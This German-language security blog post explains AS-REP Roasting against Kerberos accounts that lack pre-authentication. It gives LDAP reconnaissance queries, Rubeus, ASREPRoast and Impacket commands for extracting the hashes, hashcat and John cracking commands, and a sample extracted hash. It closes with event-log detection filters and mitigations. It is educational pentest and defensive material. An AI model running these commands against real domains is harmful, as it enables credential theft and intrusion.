Blog

AS-REP Roasting

12.4.2021 | 5 minutes read
Share this:

Tags: kerberos

Im Blogeintrag Einführung Kerberos wurde bereits die Pre-Authentication angesprochen. Die Pre-Authentication wurde mit Kerberos V5 eingeführt. Sie soll verhindern, dass ein Angreifer in einem Kerberos Netzwerk beliebige Ticket-Granting Tickets (TGT) am Domain Controller anfragen kann. Da der enc-part im AS-REP Paket mit dem Passwort des anfragenden Benutzers verschlüsselt ist, kann jeder der in Besitzt eines enc-parts gelangt, versuchen das Passwort des Benutzers zu offline bruteforcen.

Aus Kompatibilitätsgründen wurde allerdings von Microsoft die Möglichkeit geschaffen, die Anforderung einer Pre-Authentication für einzelne Benutzer wieder zu deaktivieren. Der Grund ist, dass nicht jede Implementierung vor allem bei älteren Systemen in der Lage ist eine Pre-Authentication durchzuführen.

Hintergrund

Um AS-REP Roasting durchführen zu können, wird zunächst einmal ein AS-REQ Paket an den Domain Controller gesendet.

AS-REQ

Ein Unterschied zu einem normalen AS-REQ ist, dass diesmal nur ein Eintrag im Feld etype steht und nicht wie in einem normalen Request sechs Einträge. Der Grund ist, dass das Tool dem Server mitteilt, es untstützt nur die RC4 Verschlüsselung. Diese ist wesentlich einfach zu berechnen als die anderen Verschlüsselungsalgorithmen.

Die Antwort - das AS-REP - Paket besteht wie im Blog Eintrag Kerberos erläutert aus zwei Teilen. Dem Feld ticket (TGT) und dem Feld enc-part. Im enc-part ist der Session-Key enthalten, der für die Kommunikation mit dem Domain Controller verwendet werden soll. Zusätzlich enthält es einigen weitere Informationen die wir kennen, wie beispielsweise den cname oder auch die nonce. Dieser Teil des AS-REP Paketes ist es auch, der mit dem Passwort des angefragten Benutzers (hier Lisa) verschlüsselt ist und wir zum bruteforcen von Lisas Passwort verwenden.

AS-REP

Reconnaissance

Um herauszufinden für welche Benutzer (häufig sind es technische Konten) eine AS-REP ohne Pre-Authentication angefragt werden kann, schauen wir erst mal, wie der Domain Controller erkennt, ob eine Pre-Authentication erfoderlich ist. Die Pre-Authentication für einen Benutzer kann mittels “Active Directory Users and Computers” gesteuert werden.

AD User and Computer - Properties

Aus der Dokumentation von Microsoft geht hervor, dass die oben gezeigte Einstellungen im Attribut UserAccountControl eines Benutzer Objekts gespeichert werden.

Das Attribut UserAccountControl kann beispielsweise mit folgendem Befehl ausgelesen werden:

Get-ADUser lisa -Properties useraccountcontrol

Standardmäßig hat für alle Benutzer das Attribut useraccountcontrol den Wert 512 (Hex: 0x0200). Wenn die Pre-Authentication für einen Benutzer deaktiviert wird, so wird 4194304 (0x400000) zu dem Wert addiert. Technisch sind es einfach nur Flaggs also eine Binärdarstellung, das an der entsprechenden Stelle eine 1 gesetzt bekommen. Damit wird der Wert des Attributes useraccountcontrol auf den Wert (0x400200) gesetzt, was dezimal der 4194816 entspricht.

Da nun klar ist nach was gesucht werden muss, um Benutzerkonten zu finden für die keine Pre-Authentication notwendi ist, braucht man jetzt noch entsprechende Werkzeuge, um die Benutzer zu finden.

Windows

PowerView

Mittels PowerView lassen sich die entsprechenden Benutzer finden. Wobei ich persönlich immer den Dev-Branch empfehlen würde.

Get-DomainUser -PreauthNotRequired

PowerShell

Geht auch ohne PowerView mit plain PowerShell.

$root = [ADSI]"LDAP://dc=caspar,dc=lab"
$search = new-Object System.DirectoryServices.DirectorySearcher($root)
$search.Filter ="(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$search.FindAll()

Linux

LDAPSEARCH

ldapsearch -LLLL -H ldap://192.168.1.5 -D <UserName> -w <Passwort> -b dc=caspar,dc=lab '(useraccountcontrol=4194816)' sAMAccountName

Windapsearch

windapsearch -u <UserName> -p <Passwordt> --dc 192.168.1.5 -m custom --filter "(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attrs samaccountname

Exploit

Für den nächsten Schritt muss nun eine entsprechende Kerberos Anfrage (AS-REQ) gesendet werden. Es gibt viele Tools im Internet, die dazu geeignet sind. Im Nachfolgenden werde ich ein paar bewährte Tools vorstellen. Die meisten Tools sind All-In-One Lösungen, sodass die manuelle Suche nach Zielen nicht durchgeführt werden muss. Dennoch ist es aus OpSec Gründen nicht schlecht zu schauen, ob es sich lohnt derartige Tools, die vielleicht von einem AV entdeckt werden, einzusetzen.

Windows

Rubeus

Rubeus ist ein wenig die Eierlegendewollmilchsau unter den Tools zum Ausnutzen von Schwachstellen oder Fehlkonfigurationen in Kerberos.

Rubeus

ASRepRoast

Ein früheres Projekt vom Erfinder von Rubeus ist ASREPROAST. Damit können ebenfalls die entsprechenden Informationen abgefragt werden.

(Invoke-ASREPRoast).Hash
$krb5asrep$lisa@<DOMAIN>:3d51fdd1dddd5b7cb77a3aa1f9100117$338de24dc8672fcf1425aac91903351511d6b4a28a2e6c9ccc22777539e6f7f188a2fcc872a64bd45016256fc8bdf59d4ac69fb04556c571fc5cdb96e0c81ddc40a407367c0285cc55f83d3aa2f7c4b5e168eac4c78873aced2e03bc4383002ebfe21883e088b40313e520193c853fc226e34abf3d49d3f50f99904803b13601af17306270dc627f32a6ffc1cfa4598ae363896893ac3622782973da390e50a90110120187d494dc195bc28eb883272a889e01eb32f4117a4b4f4ed6964c0e042b30f8ded651569f40f2f29faa3cdc5b189475e9be63c0eaf87addd54287eecf830944d541a0d413

Linux

IMPACKET

Impacket ist wohl unter Pentestern eines der bekanntesten Frameworks zur Verwendung von Microsoft Protokollen unter Linux.

impacket ./GetNPUsers.py caspar/lisa -no-pass

Falls sich jemand fragt, warum ich impacket vor ./GetNPUsers.py geschrieben habe, das liegt daran, dass ich möglichst viel Docker-Container verwende, so auch für Impacket. Wer das auch probieren will, dem empfehle ich den Link.

Passwort Cracking

Je nachdem, welches Tool verwendet wird, kann der extrahierte Wert mittels Hashcat oder John gecrackt werden.

Hashcat

.\hashcat.exe -m 18200 -a 0 ..\ASREPROAST.txt ..\rockyou.txt

John

sudo john --wordlist=/usr/share/wordlists/rockyou.txt ASREP.txt

Detection

Die Erkennung hängt von vielen Faktoren ab. Im Eventlog hat die Anfrage von TGT Tickets die EventID 4768. Hier sollte vor allem auf den Wert Ticket Encryption Type geachtet werden.

EventID

EventID

Die Werte können hier nachgelesen werden. Kurzer Auszug:

Type Type Name Description
0x1 DES-CBC-CRC Disabled by default starting from Windows 7 and Windows Server 2008 R2.
0x3 DES-CBC-MD5 Disabled by default starting from Windows 7 and Windows Server 2008 R2.
0x11 AES128-CTS-HMAC-SHA1-96 Supported starting from Windows Server 2008 and Windows Vista.
0x12 AES256-CTS-HMAC-SHA1-96 Supported starting from Windows Server 2008 and Windows Vista.
0x17 RC4-HMAC Default suite for operating systems before Windows Server 2008 and Windows Vista.
0x18 RC4-HMAC-EXP Default suite for operating systems before Windows Server 2008 and Windows Vista.

Wenn natürlich aufgrund des Alters mancher Systeme öfters der Ticket Encryption Type 0x17 vorkommt, so ist dies kein zuverlässiger Indikator.

Mit folgendem XML Filter kann im EventLog der Domain Controllers nach entsprechenden Anfragen gesucht werden:

<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(Level=4 or Level=0) and (EventID=4768)]]
and
*[EventData[Data[@Name="TicketEncryptionType"] and Data="0x17"]]
</Select>
  </Query>
</QueryList>

Mitigation

So richtig verhindern lässt sich dieser Angriff nicht so einfach, außer es wird konsequent eine Pre-Authentication verlangt. Wenn aber eine solche Einstellung notwendig ist und man Pentester und Angreifer ein wenig verunsichern will, dann kann auf den Domain Controller folgende Einstellung gesetzt werden:

Network security: Configure encryption types allowed for Kerberos: AES128, AES256 und Future encryption Types.

Natürlich nur mit rigorosem Testen der Einstellungen. Mit dieser Einstellung verweigern bei meinen Tests zumindest die Tools Rubeus und ASRepRoast den Dienst. Einzig Impacket ist hier ein wenig flexibler programmiert und akzeptiert auch den schwerer zu berechnenden AES256 (18) Algorithmus.

Wie immer gilt falls ihr Fragen, Anmerkungen oder Verbesserungsvorschläge zu dem Artikel habt, schreibt eine Mail an info@hackmich.net.

Quellen